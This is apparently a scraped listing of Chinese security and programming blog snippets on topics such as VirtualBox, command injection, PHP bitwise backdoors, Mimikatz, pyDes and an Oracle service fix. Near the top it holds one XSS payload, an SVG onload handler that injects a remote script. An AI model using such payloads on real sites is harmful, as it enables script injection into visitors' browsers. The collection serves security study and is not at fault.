VirtualBox是一款免费的开源虚拟机软件，简单易用，可在Linux、Mac和Windows主机中运行， 并支持在其中安装Windows (NT 4.0、2000、XP、Server 2003、V...
xss构造
<svg/onload=s=createElement('script');body.appendChild(s);s.src='url';> ...
Shell Injection & Command Injection – 五道口杀气
http://drops.wooyun.org/papers/1018 0x00 前言 Shell注入(Shell Injection)，也被称为命令注入(Command Injection)，虽然不...
编程茶楼
php中使用按位取反创建后门
1）PHP ~位运算符 前一段时间老外在twitter上爆出个有趣的东西，一串疑似乱码的字符串访问后却能正常输出1337。 PHP: 位运算符 - http://www.php.n...
WooYun-Drops
Mimikatz 非官方指南和命令参考_Part2 – Her0in
http://drops.wooyun.org/pentesting/12521 原文地址：https://adsecurity.org/?page_id=1821 原文作者：Sean Metcalf...
帝国cms技巧
利用帝国cms做网站如何防止采集？
内容摘要 利用帝国cms做网站如何防止采集？一、反采集功能使用说明：1.开启防采集功能：“系统”－》“系统设置”－》“参数设置”－》“信息设置” －》“开启防采集”。 文章正文 一、反采集功能使用说明...
神兵利刃
多主机远程脚本执行工具—RemoteScript
RemoteScript是一个支持多主机的远程（SSH）脚本执行工具。你不需要安装客户端就可以在目标SSH SERVER上执行脚本。基于Php/Mysql。 特性 支持多主机的远程Shell脚本执行 ...
pyDes 实现 Python 版的 DES 对称加密/解密
手头有个 Java 版的 DES 加密/解密程序，最近想着将其 Python 重构下，方便后续脚本解析，捣鼓了两下 pyDes 貌似很方便，不过据网上其他同学测试说 PyCrypto 性能要...
风土人情
CoolShell解密游戏的WriteUp
游戏地址：http://fun.coolshell.cn/一个很有意思的小游戏，也很费脑子的说TAT0-Fuck your brain本关地址：http://fun.coolshell.cn/firs...
修改计算机名或IP后Oracle10g服务无法启动的解决方法
遇到的问题，问题产生原因不详。症状为，windows服务中有一项oracle服务启动不了，报出如下错误。 Windows 不能在 本地计算机 启动 OracleDBConsoleorcl 。有关更多信...
